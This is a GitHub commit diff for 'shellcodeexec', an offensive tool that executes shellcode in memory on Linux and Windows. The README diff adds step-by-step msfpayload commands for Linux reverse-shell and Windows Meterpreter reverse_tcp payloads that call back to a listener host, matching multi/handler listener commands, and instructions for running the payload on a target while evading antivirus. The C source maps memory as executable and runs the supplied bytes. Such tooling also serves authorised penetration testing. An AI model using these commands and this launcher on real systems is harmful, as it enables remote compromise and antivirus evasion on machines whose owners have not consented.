Skip to content

Commit 51ef844

Browse files
bdamelebdamele
committed
minor update
1 parent e798c45 commit 51ef844

3 files changed

Lines changed: 33 additions & 9 deletions

File tree

‎README‎

Lines changed: 19 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ Most of the shellcode launchers out there, including proof of concepts part of m
1010

1111
= Description =
1212

13-
This script and the relevant project files (Makefile and Visual Studio files) allow you to compile the tool once easily then run your shellcode across different architectures and operating systems.
13+
This script and the relevant project files (Makefile and Visual Studio files) allow you to compile the tool once then run your shellcode across different architectures and operating systems.
1414

1515
Moreover, it solves a common real world issue: the target system's anti virus software blocking a Metasploit-generated payload stager (either EXE of ELF). Take for instance the following command line:
1616

@@ -35,21 +35,35 @@ shellcodeexec:
3535

3636
* Works in DEP/NX-enabled environments: it allocates the memory page where it stores the shellcode as +rwx - Readable Writable and eXecutable.
3737

38-
* It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode to Metasploit's msfencode to encode it with the alpha_mixed encoder. Use the BufferRegister variable to set the registry where the address in memory of the shellcode is stored, to avoid get_pc() binary stub to be prepended to the shellcode.
38+
* It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit's msfpayload) to Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode.
3939

4040
* Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours.
4141

4242

4343
= HowTo =
4444

45-
1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example:
45+
1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example for a Linux target:
4646

4747
$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
4848

49-
2. Execute the Metasploit multi/handler listener on your machine. For example:
49+
Or for a Windows target:
50+
51+
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
52+
53+
54+
2. Execute the Metasploit multi/handler listener on your machine. For example for a Linux target:
5055

5156
$ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
5257

53-
3. On the target system, execute the alphanumeric-encoded shellcode with this tool:
58+
Or for a Windows target:
59+
60+
$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
61+
62+
63+
3. Execute the alphanumeric-encoded shellcode with this tool. For example on the Linux target:
5464

5565
$ ./shellcodeexec <msfencode's alphanumeric-encoded payload>
66+
67+
Or, on the Windows target:
68+
69+
C:\WINDOWS\Temp>shellcodeexec.exe <msfencode's alphanumeric-encoded payload>

‎linux/shellcodeexec.c‎

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,8 +62,11 @@ int sys_bineval(char *argv)
6262
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
6363
// allocate a +rwx memory page
6464
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
65+
66+
// copy over the shellcode
6567
strncpy(code, argv, len);
6668

69+
// execute it by ASM code defined in exec_payload function
6770
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
6871
#else
6972
pID = fork();
@@ -75,14 +78,16 @@ int sys_bineval(char *argv)
7578
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
7679
page_size = (len+page_size) & ~(page_size); // align to page boundary
7780

78-
// mmap an rwx memory page
81+
// mmap an +rwx memory page
7982
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
8083

8184
if (addr == MAP_FAILED)
8285
return 1;
8386

87+
// copy over the shellcode
8488
strncpy((char *)addr, argv, len);
8589

90+
// execute it
8691
((void (*)(void))addr)();
8792
}
8893

‎windows/shellcodeexec/shellcodeexec.c‎

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
1-
/*
2-
shellcodeexec
1+
/*
2+
shellcodeexec - Script to execute in memory a sequence of opcodes
33
Copyright (C) 2011 Bernardo Damele A. G.
44
web: http://bernardodamele.blogspot.com
55
email: bernardo.damele@gmail.com
@@ -62,8 +62,11 @@ int sys_bineval(char *argv)
6262
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
6363
// allocate a +rwx memory page
6464
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
65+
66+
// copy over the shellcode
6567
strncpy(code, argv, len);
6668

69+
// execute it by ASM code defined in exec_payload function
6770
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
6871
#else
6972
pID = fork();
@@ -75,14 +78,16 @@ int sys_bineval(char *argv)
7578
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
7679
page_size = (len+page_size) & ~(page_size); // align to page boundary
7780

78-
// mmap an rwx memory page
81+
// mmap an +rwx memory page
7982
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
8083

8184
if (addr == MAP_FAILED)
8285
return 1;
8386

87+
// copy over the shellcode
8488
strncpy((char *)addr, argv, len);
8589

90+
// execute it
8691
((void (*)(void))addr)();
8792
}
8893

0 commit comments

Comments
 (0)